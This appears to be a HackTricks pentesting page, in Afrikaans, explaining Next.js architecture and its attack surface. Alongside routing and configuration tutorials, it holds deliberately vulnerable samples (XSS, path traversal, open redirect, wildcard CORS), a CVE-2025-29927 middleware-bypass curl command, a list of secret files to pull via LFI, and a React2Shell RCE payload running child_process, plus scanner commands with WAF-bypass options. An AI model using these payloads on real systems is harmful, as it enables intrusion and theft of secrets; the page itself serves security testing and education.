NextJS

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Algemene argitektuur van ’n Next.js-toepassing

Tipiese lêerstruktuur

’n Standaard Next.js-projek volg ’n spesifieke lêer- en gidsstruktuur wat sy funksies soos routing, API endpoints, en bestuur van statiese assets vergemaklik. Hier is ’n tipiese uitleg:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Kern-gidse en Lêers

• public/: Huisves statiese hulpbronne soos beelde, lettertipes en ander lêers. Lêers hier is toeganklik by die wortelpad (/).
• app/: Sentrale gids vir jou toepassing se bladsye, uitleg, komponente en API-roetes. Omhels die App Router paradigma, wat gevorderde routing-funksies en skeiding tussen server- en kliëntkomponente moontlik maak.
• app/layout.tsx: Definieer die worteluitleg vir jou toepassing, wat rondom alle bladsye vou en konsekwente UI-elemente soos headers, voeters en navigasiebalkies verskaf.
• app/page.tsx: Dien as die toegangspunt vir die wortelroute /, en render die tuisblad.
• app/[route]/page.tsx: Hanteer statiese en dinamiese roetes. Elke vouer binne app/ verteenwoordig ’n route-segment, en page.tsx binne daardie vouers ooreenstem met die route se komponent.
• app/api/: Bevat API-roetes, wat jou toelaat om serverless funksies te skep wat HTTP-versoeke hanteer. Hierdie roetes vervang die tradisionele pages/api gids.
• app/components/: Huisves herbruikbare React-komponente wat oor verskeie bladsye en uitlegte gebruik kan word.
• app/styles/: Bevat globale CSS-lêers en CSS Modules vir komponent-geskepte styling.
• app/utils/: Sluit utility-funksies, helper-modules en ander nie-UI logika in wat oor die toepassing gedeel kan word.
• .env.local: Stoor omgewingveranderlikes spesifiek vir die plaaslike ontwikkelingsomgewing. Hierdie veranderlikes word nie in weergawebeheer gecommit nie.
• next.config.js: Pas Next.js-gedrag aan, insluitend webpack-konfigurasies, omgewingveranderlikes en sekuriteitsinstellings.
• tsconfig.json: Konfigureer TypeScript-instellings vir die projek, wat tipekontroles en ander TypeScript-funksies moontlik maak.
• package.json: Bestuur projekafhanklikhede, skripte en metadata.
• README.md: Verskaf dokumentasie en inligting oor die projek, insluitend opstelinstruksies, gebruiksriglyne en ander relevante besonderhede.
• yarn.lock / package-lock.json: Sluit die projek se afhanklikhede vas op spesifieke weergawes, wat konsekwente installasies oor verskillende omgewings verseker.

Kliëntkant in Next.js

Lêer-gebaseerde routing in die app Gids

Die app gids is die hoeksteen van routing in die nuutste Next.js-weergawes. Dit gebruik die lêerstelsel om roetes te definieer, wat roetebestuur intuïtief en skaalbaar maak.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Potensiële kliëntkant-kwesbaarhede

Alhoewel Next.js ’n veilige fondament bied, kan onsamehangende koderingpraktyke kwesbaarhede inbring. Belangrike kliëntkant-kwesbaarhede sluit in:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: statiese export-roete-ontdekking via _buildManifest

Wanneer nextExport/autoExport waar is (statiese export), openbaar Next.js die buildId in die HTML en dien ’n build manifest by /_next/static/<buildId>/_buildManifest.js. Die sortedPages-array en route→chunk-kartering daar lys elke prerendered bladsy sonder brute force.

• Haal die buildId uit die root response (dikwels onderaan gedruk) of uit <script>-tags wat /_next/static/<buildId>/... laai.
• Haal die manifest op en onttrek roetes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Gebruik die ontdekte paths (vir voorbeeld /docs, /docs/content/examples, /signin) om auth testing en endpoint discovery aan te dryf.

Bedienerkant in Next.js

Bedienerkant-rendering (SSR)

Bladsye word by elke versoek op die bediener gerender, wat verseker dat die gebruiker volle gerenderde HTML ontvang. In hierdie geval moet jy jou eie pasgemaakte server opstel om die versoeke te verwerk.

Gebruikssituasies:

• Dynamiese inhoud wat gereeld verander.
• SEO-optimalisering, aangesien soekenjins die volle gerenderde bladsy kan kruip.

Implementering:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Statiese webwerf-generering (SSG)

Bladsye word vooraf-gerender tydens boutyd, wat lei tot vinniger laaitye en verminderde bedienerlas.

Gebruiksscenario’s:

• Inhoud wat nie gereeld verander nie.
• Blogs, dokumentasie, bemarkingsbladsye.

Implementering:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Serverlose Funksies (API Routes)

Next.js laat die skep van API-endpunte as serverlose funksies toe. Hierdie funksies word op aanvraag uitgevoer sonder die behoefte aan ’n toegewyde bediener.

Gebruiksscenario’s:

• Vorminskrywings hanteer.
• Interaksie met databases.
• Data verwerk of integreer met APIs van derde partye.

Implementering:

Met die bekendstelling van die app directory in Next.js 13 het routing en API-hantering meer buigsaam en kragtig geword. Hierdie moderne benadering stem nou baie ooreen met die lêergebaseerde routingstelsel, maar bied verbeterde vermoëns, insluitend ondersteuning vir server- en kliëntkomponente.

Basiese roetehanteraar

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementering:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Verduideliking:

• Ligging: API-roetes word geplaas in die app/api/ gids.
• Lêerbenaming: Elke API-endpoint woon in sy eie gids wat ’n route.js of route.ts lêer bevat.
• Geëksporteerde funksies: In plaas van ’n enkele standaard-export, word spesifieke HTTP-metode funksies (bv. GET, POST) geёksporteer.
• Response-hantering: Gebruik die Response constructor om responses terug te stuur, wat meer beheer oor headers en statuskodes toelaat.

Hoe om ander paadjies en metodes te hanteer:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS-konfigurasie

Beheer watter origins toegang tot jou API-roetes kan kry om Cross-Origin Resource Sharing (CORS)-kwesbaarhede te verminder.

Slegte konfigurasievoorbeeld:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Let op dat CORS ook in al die API-roetes gekonfigureer kan word binne die middleware.ts-lêer:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Probleem:

• Access-Control-Allow-Origin: '*': Laat enige webwerf toe om toegang tot die API te kry, wat moontlik kwaadwillige werwe toelaat om sonder beperkings met jou API te kommunikeer.
• Breë metode-toestemming: Om alle metodes toe te laat kan aanvalers in staat stel om ongewenste handelinge uit te voer.

Hoe aanvallers dit uitbuit:

Aanvallers kan kwaadwillige webwerwe skep wat versoeke na jou API stuur en moontlik funksies misbruik soos data-ophaling, data-manipulasie, of om ongewenste handelinge namens geverifieerde gebruikers te veroorsaak.

CORS - Misconfigurations & Bypass

Bedienerkode-blootstelling aan die kliëntkant

Dit kan maklik gebeur om kode wat deur die bediener gebruik word ook in kode blootgestel en gebruik deur die kliëntkant te gebruik, die beste manier om te verseker dat ’n kodelêer nooit aan die kliëntkant blootgestel word nie, is deur hierdie import aan die begin van die lêer te gebruik:

import "server-only"

Belangrike lêers en hul rolle

middleware.ts / middleware.js

Ligging: Wortel van die projek of binne src/.

Doel: Voer kode uit in die server-side serverless-funksie voordat ’n versoek verwerk word, wat toelaat vir take soos outentisering, omleidings, of die wysiging van reaksies.

Uitvoeringsvloei:

1. Binnekomende versoek: Die middleware onderskep die versoek.
2. Verwerking: Voer operasies uit gebaseer op die versoek (bv., kontroleer outentisering).
3. Wysiging van reaksie: Kan die reaksie verander of beheer aan die volgende behandelaar oorgee.

Voorbeelde van gebruiksgevalle:

• Om nie-geauthentiseerde gebruikers om te lei.
• Byvoeg van persoonlike headers.
• Log versoeke.

Voorbeeldkonfigurasie:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

As autorisasie in middleware afgedwing word, aangetaste Next.js-uitgawes (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) kan omseil word deur die x-middleware-subrequest header in te voeg. Die framework sal middleware recursion oorslaan en die beskermde bladsy teruggee.

• Basiese gedrag is tipies ’n 307-omleiding na ’n aanmeld-roete soos /api/auth/signin.
• Stuur ’n lang x-middleware-subrequest waarde (herhaal middleware om MAX_RECURSION_DEPTH te bereik) om die respons na 200 om te keer:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Omdat geauthentiseerde bladsye baie subbronne laai, voeg die header by elke versoek (bv. Burp Match/Replace met ’n leë match-string) om te verhoed dat assets herlei word.

next.config.js

Ligging: Root van die projek.

Doel: Stel Next.js-gedrag in, skakel funksies aan of af, pas webpack-konfigurasies aan, stel omgewingveranderlikes in, en konfigureer verskeie sekuriteitsfunksies.

Belangrike sekuriteitskonfigurasies:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js en pages/_document.js

pages/_app.js

Doel: Oorskryf die standaard App-component en laat globale state, styles en layout-komponente toe.

Gebruikgevalle:

• Invoeging van globale CSS.
• Byvoeging van layout-wrappers.
• Integrasie van state management-biblioteke.

Voorbeeld:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Doel: Oorskryf die standaard Document, wat aanpassing van die <html> en <body> tags moontlik maak.

Gebruikstoepassings:

• Aanpassing van die <html> of <body> tags.
• Byvoeging van meta-tags of aangepaste skripte.
• Integrasie van lettertipes van derde partye.

Voorbeeld:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Custom Server (Opsioneel)

Purpose: Alhoewel Next.js met ’n ingeboude server kom, kan jy ’n aangepaste server skep vir gevorderde gebruiksgevalle soos aangepaste routing of integrasie met bestaande backend-dienste.

Note: Die gebruik van ’n aangepaste server kan ontplooiingsopsies beperk, veral op platforms soos Vercel wat geoptimaliseer is vir Next.js se ingeboude server.

Voorbeeld:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Aanvullende argitektuur- en sekuriteits-oorwegings

Omgewingsveranderlikes en konfigurasie

Doel: Bestuur sensitiewe inligting en konfigurasie-instellings buite die codebasis.

Beste praktyke:

• Gebruik .env-lêers: Stoor veranderlikes soos API keys in .env.local (uitgesluit van weergawebeheer).
• Toegang tot veranderlikes veilig: Gebruik process.env.VARIABLE_NAME om omgewingsveranderlikes te kry.
• Moet geheime nooit aan die kliënt openbaar nie: Verseker dat sensitiewe veranderlikes slegs aan die bedienerkant gebruik word.

Voorbeeld:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Let wel: Om veranderlikes slegs op die server te beperk, skrap hulle uit die env-objek of plaas die voorvoegsel NEXT_PUBLIC_ om kliënt-eksponering toe te laat.

Nuttige server-artifakte om te teiken via LFI/download endpunte

As jy ’n path traversal of download API in ’n Next.js-app vind, teiken saamgestelde artefakte wat server-side geheime en auth-logika leak:

• .env / .env.local vir sessie-geheime en verskaffer-credentials.
• .next/routes-manifest.json en .next/build-manifest.json vir ’n volledige roetelijst.
• .next/server/pages/api/auth/[...nextauth].js om die saamgestelde NextAuth-configuratie te herkry (bevat dikwels fallback-wagwoorde wanneer process.env-waardes nie gestel is nie).
• next.config.js / next.config.mjs om rewrites, redirects en middleware-routing na te gaan.

Verifikasie en magtiging

Benadering:

• Sessie-gebaseerde verifikasie: Gebruik cookies om gebruikersessies te bestuur.
• Token-gebaseerde verifikasie: Implementeer JWTs vir stateless-verifikasie.
• Derdeparty-providers: Integreer met OAuth-providers (bv. Google, GitHub) deur biblioteke soos next-auth te gebruik.

Sekerheidspraktyke:

• Veilige cookies: Stel HttpOnly, Secure, en SameSite attributte.
• Wagwoord-hashing: Hash altyd wagwoorde voordat jy dit stoor.
• Invoervalidasie: Voorkom injection attacks deur insette te valideer en te sanitiseer.

Voorbeeld:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Prestasie-optimalisering

Strategieë:

• Beeldoptimalisering: Gebruik Next.js se next/image komponent vir outomatiese beeldoptimalisering.
• Kode-splitsing: Gebruik dinamiese imports om kode te splits en die aanvanklike laaitye te verminder.
• Kasbestuur: Implementeer kasstrategieë vir API-antwoorde en statiese hulpbronne.
• Luie laai: Laai komponente of hulpbronne slegs wanneer hulle nodig is.

Voorbeeld:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Moderne Next.js gebruik “Server Actions” wat op die server uitgevoer word, maar vanaf die client aangeroep word. In produksie is hierdie aanroepe ondoorgrondelik: alle POSTs land by ’n gemeenskaplike endpoint en word onderskei deur ’n build-spesifieke hash wat in die Next-Action header gestuur word. Voorbeeld:

POST /
Next-Action: a9f8e2b4c7d1...

Wanneer productionBrowserSourceMaps geaktiveer is, bevat minified JS chunks oproepe na createServerReference(...) wat genoeg struktuur leak (plus geassosieerde source maps) om ’n mapping tussen die action hash en die oorspronklike functienaam te herstel. Dit laat jou toe om hashes waargeneem in Next-Action te vertaal na konkrete teikens soos deleteUserAccount() of exportFinancialData().

Uittrekkingsbenadering (regex op minified JS + opsionele source maps)

Soek afgelaaide JS chunks vir createServerReference en onttrek die hash en die function/source symbol. Twee nuttige patrone:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Groep 1: server action hash (40+ hex chars)
• Groep 2: simbool of pad wat via die source map na die oorspronklike funksie opgelos kan word wanneer dit teenwoordig is

As die script ’n source map adverteer (trailer comment //# sourceMappingURL=<...>.map), haal dit af en los die simbool/pad op na die oorspronklike funksienaam.

Praktiese werkstroom

• Passiewe ontdekking terwyl jy blaai: vang requests met Next-Action headers en JS chunk URLs.
• Haal die verwysde JS bundles en die gepaardgaande *.map lêers af (wanneer teenwoordig).
• Voer die regex hierbo uit om ’n hash↔name-woordeboek te bou.
• Gebruik die woordeboek om teiken-toetsing:
• Naam-gedrewe triage (bv., transferFunds, exportFinancialData).
• Moniteer dekking oor builds volgens funksienaam (hashes roteer oor builds).

Oefen verborge aksies (template-gebaseerde versoek)

Neem ’n geldige POST wat in-proxy waargeneem is as ’n sjabloon en ruil die Next-Action waarde om ’n ander ontdekte aksie te teiken:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Speel dit in Repeater af en toets authorization, input validation en business logic van andersins onbereikbare actions.

Burp-automatisering

• NextjsServerActionAnalyzer (Burp extension) automatiseer bogenoemde in Burp:
• Deursoek proxy-geskiedenis na JS-chunks, onttrek createServerReference(...) inskrywings, en ontleed source maps wanneer beskikbaar.
• Onderhou ’n deursoekbare hash↔function-name woordeboek en verwyder duplikate oor builds op basis van function name.
• Kan ’n geldige template POST opspoor en ’n gereed-om-te-stuur Repeater-tab oopmaak met die teiken action se hash vervang.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Aantekeninge en beperkings

• Vereis dat productionBrowserSourceMaps in production aangeskakel is om name uit bundles/source maps te herstel.
• Function-name disclosure is nie op sigself ’n vulnerability nie; gebruik dit om ontdekking te lei en om elke action se authorization te toets.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) bevat ’n kritieke server-side prototype pollution tydens Flight chunk deserialisasie. Deur $ verwysings binne ’n Flight payload te vervaardig kan ’n aanvaller van besoedelde prototypes na arbitrêre JavaScript-uitvoering en daarna na OS-opdrag-uitvoering binne die Node.js-proses skuif.

NodeJS - proto & prototype Pollution

Aanvalketting in Flight-chunks

1. Prototype pollution primitive: Stel "then": "$1:__proto__:then" sodat die resolver ’n then funksie op Object.prototype skryf. Enige gewone object wat daarna verwerk word, word ’n thenable, wat die aanvaller toelaat om async control flow binne RSC-internals te beïnvloed.
2. Rebinding to the global Function constructor: Rig _response._formData.get na "$1:constructor:constructor". Tydens resolusie, object.constructor → Object, en Object.constructor → Function, sodat toekomstige oproepe na _formData.get() eintlik Function(...) uitvoer.
3. Code execution via _prefix: Plaas JavaScript-bron in _response._prefix. Wanneer die besoedelde _formData.get aangeroep word, evalueer die raamwerk Function(_prefix)(...), sodat die geïnjekteerde JS require('child_process').exec() of enige ander Node-primitive kan uitvoer.

Payload skelet

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Kaart van blootstelling van React Server Functions

React Server Functions (RSF) is enige funksies wat die 'use server'; direktief bevat. Elke form action, mutation, of fetch helper wat aan een van daardie funksies gebind is, word ’n RSC Flight endpoint wat gemaklik attacker-supplied payloads deserialiseer. Nuttige recon-stappe wat uit React2Shell assessments afgelei is:

• Static inventory: kyk vir die direktief om te verstaan hoeveel RSFs deur die framework outomaties blootgestel word.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app skakel die App Router + app/ directory standaard aan, wat stilweg elke route in ’n RSC-capable endpoint omskakel. App Router assets soos /_next/static/chunks/app/ of responses wat Flight chunks oor text/x-component stroom, is sterk internet-facing fingerprints.
• Implicitly vulnerable RSC deployments: React se eie advisory merk op dat apps wat die RSC runtime insluit exploiteerbaar kan wees selfs sonder eksplisiete RSFs, so beskou enige build wat react-server-dom-* 19.0.0–19.2.0 gebruik as verdag.
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. hergebruik dieselfde serializer en erf dieselfde remote attack surface totdat hulle gepatchte React builds insluit.

Weergawe-dekking (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: kwetsbaar in 19.0.0, 19.1.0–19.1.1 en 19.2.0; gepatch in 19.0.1, 19.1.2 en 19.2.1 onderskeidelik.
• Next.js stable: App Router releases 15.0.0–16.0.6 bevat die kwetsbare RSC-stapel. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 sluit gefixeerde deps in, so enige build onder daardie weergawes is van hoë waarde.
• Next.js canary: 14.3.0-canary.77+ lewer ook die buggy runtime en het tans geen gepatchte canary drops nie, wat daardie fingerprints sterk exploitation-kandidate maak.

Afstandsopsporingsorakel

Assetnote’s react2shell-scanner stuur ’n opgemaakte multipart Flight-versoek na kandidaatpaaie en monitor die bedienerkantgedrag:

• Default mode voer ’n deterministiese RCE payload uit (wiskunde-operasie weerspieël via X-Action-Redirect) wat code-uitvoering bewys.
• --safe-check mode vervorm die Flight-boodskap doelbewus sodat gepatchte servers 200/400 teruggee, terwyl kwesbare teikens HTTP/500 antwoorde uitspuug wat die E{"digest" substring in die liggaam bevat. Daardie (500 + digest) paar is tans die mees betroubare remote-orakel wat deur verdedigers gepubliseer is.
• Ingeboude --waf-bypass, --vercel-waf-bypass, en --windows skakelaars pas payload layout aan, voeg rommel vooraan of ruil OS-opdragte sodat jy werklike Internet assets kan probeer.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Ander onlangse App Router-probleme (laat 2025)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – verkeerd gevormde Flight-payloads kan die RSC-resolver in ’n oneindige lus laat draai (pre-auth DoS) of die serialisering van saamgestelde Server Function-kode vir ander aksies afdwing. App Router builds ≥13.3 word geraak totdat dit gepatch is; 15.0.x–16.0.x benodig die spesifieke patch-lyne uit die upstream advisory. Hergebruik die normale Server Action-pad maar stroom ’n text/x-component body met misbruikende $-verwysings. Agter ’n CDN bly die vasgehangde konneksie oop danksy cache-timeouts, wat die DoS goedkoop maak.

• Triage tip: Ongepatchte teikens stuur 500 terug met E{"digest" na verkeerd gevormde Flight-payloads; gepatchte builds stuur 400/200 terug. Toets enige endpoint wat reeds Flight-chunks stroom (kyk vir Next-Action headers of text/x-component responses) en herhaal met ’n gemodifiseerde payload.

